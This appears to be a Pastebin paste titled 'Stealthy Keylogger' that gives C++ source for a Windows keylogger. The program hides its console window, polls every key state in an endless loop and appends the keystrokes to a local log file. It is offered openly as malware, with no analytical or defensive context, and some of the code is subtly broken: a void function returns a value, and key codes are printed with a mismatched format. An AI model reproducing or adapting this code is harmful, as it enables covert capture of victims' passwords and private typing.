Viru5hax

Stealthy Keylogger

Feb 14th, 2017
816
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.69 KB | None | 0 0
  1. /*/
  2.         Author : Asif Nawaz
  3.         Type   : Keylogger
  4.         Risk   : Moderate
  5.         Publish: 2/14/2017
  6. */
  7. #include <iostream>
  8. #include <windows.h>
  9. #include <winuser.h>
  10. void Save (int key_stroke);
  11. void Stealth();
  12. using namespace std;
  13. int main() {
  14.     Stealth();
  15.     char i;
  16.     while (1){
  17.         for(i = 8; i <= 190; i++){
  18.             if (GetAsyncKeyState(i) == -32767){
  19.             Save (i);
  20.             }    
  21.         }
  22.     }
  23.     system ("PAUSE");
  24.     return 0;
  25. }
  26.  
  27. void Save (int key_stroke){
  28.     if ( (key_stroke == 1) || (key_stroke == 2) ){
  29.     // Do Nothing
  30.     }
  31.     FILE *out=fopen("Logs.txt", "a+");
  32.     cout << key_stroke << endl;
  33.     if (key_stroke == 8)
  34.         fprintf(out, "%s", "[BACKSPACE]");
  35.     else if (key_stroke == 13)
  36.         fprintf(out, "%s", "\n");
  37.     else if (key_stroke == 32)
  38.         fprintf(out, "%s", " ");
  39.     else if (key_stroke == VK_TAB)
  40.         fprintf(out, "%s", "[TAB]");
  41.     else if (key_stroke == VK_SHIFT)
  42.         fprintf(out, "%s", "[SHIFT]");
  43.     else if (key_stroke == VK_CONTROL)
  44.         fprintf(out, "%s", "[CONTROL]");
  45.     else if (key_stroke == VK_ESCAPE)
  46.         fprintf(out, "%s", "[ESCAPE]");
  47.     else if (key_stroke == VK_END)
  48.         fprintf(out, "%s", "[END]");
  49.     else if (key_stroke == VK_HOME)
  50.         fprintf(out, "%s", "[HOME]");
  51.     else if (key_stroke == VK_LEFT)
  52.         fprintf(out, "%s", "[LEFT]");
  53.     else if (key_stroke == VK_UP)
  54.         fprintf(out, "%s", "[UP]");
  55.     else if (key_stroke == VK_RIGHT)
  56.         fprintf(out, "%s", "[RIGHT]");
  57.     else if (key_stroke == VK_DOWN)
  58.         fprintf(out, "%s", "[DOWN]");
  59.     else if (key_stroke == 190 || key_stroke == 110)
  60.         fprintf(out, "%s", ".");
  61.     else
  62.         fprintf(out, "%s", &key_stroke);
  63.  
  64.     fclose (out);
  65.     return 0;
  66. }
  67.  
  68. void Stealth(){
  69.     HWND Stealth;
  70.     AllocConsole();
  71.     Stealth = FindWindowA("ConsoleWindowClass", NULL);
  72.     ShowWindow(Stealth,0);
  73. }
Add Comment
Please, Sign In to add comment